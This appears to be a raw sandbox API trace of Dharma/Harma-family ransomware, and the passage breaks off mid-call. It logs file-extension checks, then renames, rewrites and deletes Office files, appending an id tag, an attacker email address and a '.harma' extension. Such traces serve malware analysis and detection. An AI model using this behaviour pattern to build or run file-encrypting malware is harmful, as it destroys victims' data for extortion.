[0049.106] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.106] lstrlenW (lpString=".xls") returned 4 [0049.106] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString=".xlsx") returned 5 [0049.107] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0049.107] lstrlenW (lpString=".ppt") returned 4 [0049.107] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.107] lstrlenW (lpString=".zip") returned 4 [0049.107] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.107] lstrlenW (lpString=".rar") returned 4 [0049.107] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString=".bz2") returned 4 [0049.107] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString=".7z") returned 3 [0049.107] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.107] lstrlenW (lpString=".dbf") returned 4 [0049.107] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.107] lstrlenW (lpString=".1cd") returned 4 [0049.107] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.107] lstrlenW (lpString=".jpg") returned 4 [0049.107] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.107] lstrlenW (lpString=".doc") returned 4 [0049.107] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.107] lstrlenW (lpString=".docx") returned 5 [0049.107] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0049.107] lstrlenW (lpString=".pdf") returned 4 [0049.108] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString=".xls") returned 4 [0049.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString=".xlsx") returned 5 [0049.108] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0049.108] lstrlenW (lpString=".ppt") returned 4 [0049.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.108] lstrlenW (lpString=".zip") returned 4 [0049.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.108] lstrlenW (lpString=".rar") returned 4 [0049.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString=".bz2") returned 4 [0049.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString=".7z") returned 3 [0049.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.108] lstrlenW (lpString=".dbf") returned 4 [0049.108] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.108] lstrlenW (lpString=".1cd") returned 4 [0049.108] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.108] lstrlenW (lpString=".jpg") returned 4 [0049.108] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.108] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0049.108] lstrlenW (lpString="ipsjpn.xml") returned 10 [0049.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.109] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2522) returned 1 [0049.109] CloseHandle (hObject=0x1e0) returned 1 [0049.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0049.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0049.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0049.109] lstrlenW (lpString=".doc") returned 4 [0049.109] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.109] lstrlenW (lpString=".docx") returned 5 [0049.109] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0049.109] lstrlenW (lpString=".pdf") returned 4 [0049.109] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.109] lstrlenW (lpString=".xls") returned 4 [0049.110] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.110] lstrlenW (lpString=".xlsx") returned 5 [0049.110] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0049.110] lstrlenW (lpString=".ppt") returned 4 [0049.110] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0049.110] lstrlenW (lpString=".zip") returned 4 [0049.110] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.110] lstrlenW (lpString=".rar") returned 4 [0049.110] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.110] lstrlenW (lpString=".bz2") returned 4 [0049.110] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.110] lstrlenW (lpString=".7z") returned 3 [0049.110] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0049.110] lstrlenW (lpString=".dbf") returned 4 [0049.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0049.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.117] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.117] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.117] ReadFile (in: hFile=0x1e0, lpBuffer=0x2f10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x238fc38, lpOverlapped=0x0 | out: lpBuffer=0x2f10058*, lpNumberOfBytesRead=0x238fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.121] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x238fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.121] ReadFile (in: hFile=0x1e0, lpBuffer=0x2f50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x238fc38, lpOverlapped=0x0 | out: lpBuffer=0x2f50058*, lpNumberOfBytesRead=0x238fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.130] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x238fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.130] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x238fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.130] ReadFile (in: hFile=0x1e0, lpBuffer=0x2f90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x238fc38, lpOverlapped=0x0 | out: lpBuffer=0x2f90058*, lpNumberOfBytesRead=0x238fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.415] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.415] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x238fcb0, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0049.776] SetEndOfFile (hFile=0x1e0) returned 1 [0049.776] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0049.776] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.776] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x238fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x238fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.901] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x238fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.901] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x238fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x238fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.905] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x238fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.905] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x238fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x238fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0049.908] CloseHandle (hObject=0x1e0) returned 1 [0050.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.138] lstrlenW (lpString=".doc") returned 4 [0050.138] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString=".docx") returned 5 [0050.139] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0050.139] lstrlenW (lpString=".pdf") returned 4 [0050.139] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString=".xls") returned 4 [0050.139] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString=".xlsx") returned 5 [0050.139] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0050.139] lstrlenW (lpString=".ppt") returned 4 [0050.139] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.139] lstrlenW (lpString=".zip") returned 4 [0050.139] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString=".rar") returned 4 [0050.139] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString=".bz2") returned 4 [0050.139] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.139] lstrlenW (lpString=".7z") returned 3 [0050.139] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.139] lstrlenW (lpString=".dbf") returned 4 [0050.139] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.139] lstrlenW (lpString=".1cd") returned 4 [0050.139] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.140] lstrlenW (lpString=".jpg") returned 4 [0050.140] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.140] lstrlenW (lpString=".doc") returned 4 [0050.140] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString=".docx") returned 5 [0050.140] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0050.140] lstrlenW (lpString=".pdf") returned 4 [0050.140] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString=".xls") returned 4 [0050.140] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString=".xlsx") returned 5 [0050.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0050.140] lstrlenW (lpString=".ppt") returned 4 [0050.140] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.140] lstrlenW (lpString=".zip") returned 4 [0050.140] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString=".rar") returned 4 [0050.140] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.140] lstrlenW (lpString=".bz2") returned 4 [0050.140] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.141] lstrlenW (lpString=".7z") returned 3 [0050.141] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.141] lstrlenW (lpString=".dbf") returned 4 [0050.141] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.141] lstrlenW (lpString=".1cd") returned 4 [0050.141] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0050.141] lstrlenW (lpString=".jpg") returned 4 [0050.141] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.141] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0050.141] lstrlenW (lpString="PSS10O.CHM") returned 10 [0050.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.332] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=26929) returned 1 [0050.332] CloseHandle (hObject=0x1fc) returned 1 [0050.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0050.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.332] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.332] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.333] GetLastError () returned 0x0 [0050.333] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x6931, lpOverlapped=0x0) returned 1 [0050.334] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0050.336] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.336] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.336] SetEndOfFile (hFile=0x204) returned 1 [0050.336] CloseHandle (hObject=0x204) returned 1 [0050.337] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.337] SetEndOfFile (hFile=0x1fc) returned 1 [0050.338] CloseHandle (hObject=0x1fc) returned 1 [0050.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.338] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.339] lstrlenW (lpString=".doc") returned 4 [0050.339] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString=".docx") returned 5 [0050.339] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0050.339] lstrlenW (lpString=".pdf") returned 4 [0050.339] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString=".xls") returned 4 [0050.339] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString=".xlsx") returned 5 [0050.339] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0050.339] lstrlenW (lpString=".ppt") returned 4 [0050.339] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.339] lstrlenW (lpString=".zip") returned 4 [0050.339] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString=".rar") returned 4 [0050.339] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString=".bz2") returned 4 [0050.339] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.339] lstrlenW (lpString=".7z") returned 3 [0050.339] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.339] lstrlenW (lpString=".dbf") returned 4 [0050.339] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.339] lstrlenW (lpString=".1cd") returned 4 [0050.339] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.339] lstrlenW (lpString=".jpg") returned 4 [0050.340] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.340] lstrlenW (lpString=".doc") returned 4 [0050.340] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString=".docx") returned 5 [0050.340] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0050.340] lstrlenW (lpString=".pdf") returned 4 [0050.340] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString=".xls") returned 4 [0050.340] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString=".xlsx") returned 5 [0050.340] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0050.340] lstrlenW (lpString=".ppt") returned 4 [0050.340] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.340] lstrlenW (lpString=".zip") returned 4 [0050.340] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString=".rar") returned 4 [0050.340] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString=".bz2") returned 4 [0050.340] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.340] lstrlenW (lpString=".7z") returned 3 [0050.340] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.340] lstrlenW (lpString=".dbf") returned 4 [0050.340] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.340] lstrlenW (lpString=".1cd") returned 4 [0050.340] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.341] lstrlenW (lpString=".jpg") returned 4 [0050.341] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.341] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0050.341] lstrlenW (lpString="PSS10R.CHM") returned 10 [0050.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.342] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=27195) returned 1 [0050.342] CloseHandle (hObject=0x1fc) returned 1 [0050.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 